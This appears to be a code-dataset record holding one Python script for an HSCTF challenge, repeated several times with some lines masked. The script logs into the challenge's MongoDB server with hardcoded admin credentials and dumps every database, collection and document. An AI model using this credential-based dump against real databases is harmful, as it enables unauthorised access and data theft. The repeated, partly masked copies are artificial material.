from pprint import pprint as pp 
from pymongo import MongoClient as MC 

""" connect to MongoDB """

client = MC("keith-logger-mongodb.web.chal.hsctf.com", 27017, username="admin", password="keithkeithkeith")

# show all databases
print("database name: ", client.list_database_names())	# database

db = client.get_database('database')
print("Collection name", db.list_collection_names())	# collection
coll = db.get_collection("collection")

for c in coll.find():
	pp(c)


c4ba8ec3ca82a3b5f591992c173114a6e7c7832f
<mask token>

<mask token>
print('database name: ', client.list_database_names())
<mask token>
print('Collection name', db.list_collection_names())
<mask token>
for c in coll.find():
    pp(c)

<mask token>
client = MC('keith-logger-mongodb.web.chal.hsctf.com', 27017, username=
    'admin', password='keithkeithkeith')
print('database name: ', client.list_database_names())
db = client.get_database('database')
print('Collection name', db.list_collection_names())
coll = db.get_collection('collection')
for c in coll.find():
    pp(c)

from pprint import pprint as pp
from pymongo import MongoClient as MC
<mask token>
client = MC('keith-logger-mongodb.web.chal.hsctf.com', 27017, username=
    'admin', password='keithkeithkeith')
print('database name: ', client.list_database_names())
db = client.get_database('database')
print('Collection name', db.list_collection_names())
coll = db.get_collection('collection')
for c in coll.find():
    pp(c)

from pprint import pprint as pp 
from pymongo import MongoClient as MC 

""" connect to MongoDB """

client = MC("keith-logger-mongodb.web.chal.hsctf.com", 27017, username="admin", password="keithkeithkeith")

# show all databases
print("database name: ", client.list_database_names())	# database

db = client.get_database('database')
print("Collection name", db.list_collection_names())	# collection
coll = db.get_collection("collection")

for c in coll.find():
	pp(c)

